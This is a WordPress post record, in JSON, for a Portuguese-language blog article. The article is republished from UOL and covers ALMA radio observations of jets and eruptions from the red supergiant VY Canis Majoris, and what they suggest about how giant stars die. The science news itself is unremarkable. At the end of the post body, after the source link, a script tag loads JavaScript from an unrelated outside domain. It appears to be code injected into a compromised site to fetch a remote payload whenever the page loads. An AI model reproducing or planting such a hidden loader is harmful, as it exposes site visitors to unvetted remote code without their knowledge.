{"id":2119,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/morte-de-estrela-gigante-ciencia-tem-novas-pistas\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"morte-de-estrela-gigante-ciencia-tem-novas-pistas","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/morte-de-estrela-gigante-ciencia-tem-novas-pistas\/","title":{"rendered":"Morte de estrela gigante: ci\u00eancia tem novas pistas"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>Observa\u00e7\u00f5es recentes parecem desafiar nosso entendimento sobre como as maiores estrelas morrem, segundo trabalho apresentado por cientistas da Universidade de Arizona. A pesquisa liderada por Ambesh Singh identificou caracter\u00edsticas peculiares de <a href=\"https:\/\/www.uol.com.br\/tilt\/ultimas-noticias\/efe\/2007\/07\/23\/descoberta-estrela-rica-em-moleculas-necessarias-para-a-criacao-da-vida.htm\">VY Canis Majoris<\/a>, mostrando que a morte de uma estrela gigante pode ser mais complicado do que pens\u00e1vamos.<\/p>\n<p>VY Canis Majoris \u00e9 uma das maiores estrelas conhecidas, com um tamanho mais de mil vezes maior que o nosso Sol. Ela \u00e9 uma supergigante vermelha, uma das \u00faltimas fases de estrelas t\u00e3o grandes antes de morrer.<\/p>\n<p>Segundo os modelos mais cl\u00e1ssicos, estrelas t\u00e3o grandes perdem parte de sua massa no final da vida e tornam-se cada vez mais frias. Sem capacidade para produzir energia e sustentar seu enorme peso, colapsam-se sobre si mesmas, explodindo em uma supernova e deixando em seu lugar apenas um buraco negro.<\/p>\n<p>No entanto, a equipe norte-americana questiona se isso efetivamente acontece para todas as estrelas gigantes.<\/p>\n<p>&#8220;Se esse fosse o caso, ver\u00edamos muito mais explos\u00f5es de supernovas no c\u00e9u&#8221;, afirma Lucy Ziurys, professora na Universidade de Arizona e coautora do trabalho. &#8220;Hoje acreditamos que podem colapsar calmamente em buracos negros, mas n\u00e3o sabemos quais morrem assim, ou como e por que isso acontece.&#8221;<\/p>\n<p>Isso \u00e9 realmente um mist\u00e9rio. Astr\u00f4nomos come\u00e7aram a observar evid\u00eancias de que as estrelas mais massivas talvez n\u00e3o acabassem explodindo como uma supernova, simplesmente desaparecendo do c\u00e9u. No entanto, como s\u00e3o eventos muito raros \u2014 e, ao contr\u00e1rio de uma supernova, n\u00e3o tem um aumento s\u00fabito no seu brilho\u2014 s\u00e3o de dif\u00edcil confirma\u00e7\u00e3o observacional.<\/p>\n<p>O trabalho de Singh e colaboradores ainda n\u00e3o foi publicado, mas os resultados preliminares foram apresentados na reuni\u00e3o anual da Sociedade Astron\u00f4mica Norte-americana. A equipe mostrou os resultados de suas observa\u00e7\u00f5es com o radiotelesc\u00f3pio ALMA.<\/p>\n<p>Ao contr\u00e1rio de telesc\u00f3pios comuns, o ALMA \u00e9 capaz de observar grande parte do g\u00e1s que est\u00e1 sendo ejetado pela estrela. O que chamou a aten\u00e7\u00e3o dos cientistas foi o formato dessas eje\u00e7\u00f5es; ao inv\u00e9s de camadas esf\u00e9ricas sim\u00e9tricas, VY Canis Majoris parece produzir pequenos jatos e erup\u00e7\u00f5es em dire\u00e7\u00f5es espec\u00edficas, atingindo dist\u00e2ncias de centenas de bilh\u00f5es de quil\u00f4metros da estrela. Isso equivale a milhares de vezes a dist\u00e2ncia da Terra ao Sol.<\/p>\n<p>De acordo com eles, essas erup\u00e7\u00f5es fornecem pistas sobre o poss\u00edvel funcionamento an\u00f4malo em estrelas gigantes como VY Canis Majoris. &#8220;S\u00e3o como c\u00e9lulas convectivas emitidas atrav\u00e9s da fotosfera estelar, como balas de canh\u00e3o gigantes em diferentes dire\u00e7\u00f5es. S\u00e3o eventos an\u00e1logos aos arcos coronais vistos no Sol, mas um bilh\u00e3o de vezes maior&#8221;.<\/p>\n<p>A an\u00e1lise dos dados \u00e9 complexa, pois o radiotelesc\u00f3pio produz cerca de um terabyte de dados, o que pode levar v\u00e1rios dias para an\u00e1lise em computador.<\/p>\n<p>Os pesquisadores planejam publicar uma s\u00e9rie de artigos cient\u00edficos sobre essas descobertas ao longo do ano, e quem sabe n\u00e3o saberemos mais sobre esses objetos quando o trabalho for completado.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/colunas\/thiago-goncalves\/2022\/06\/30\/cientistas-observam-a-morte-de-estrela-gigante.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Observa\u00e7\u00f5es recentes parecem desafiar nosso entendimento sobre como as maiores estrelas morrem, segundo trabalho apresentado por cientistas da Universidade de Arizona. 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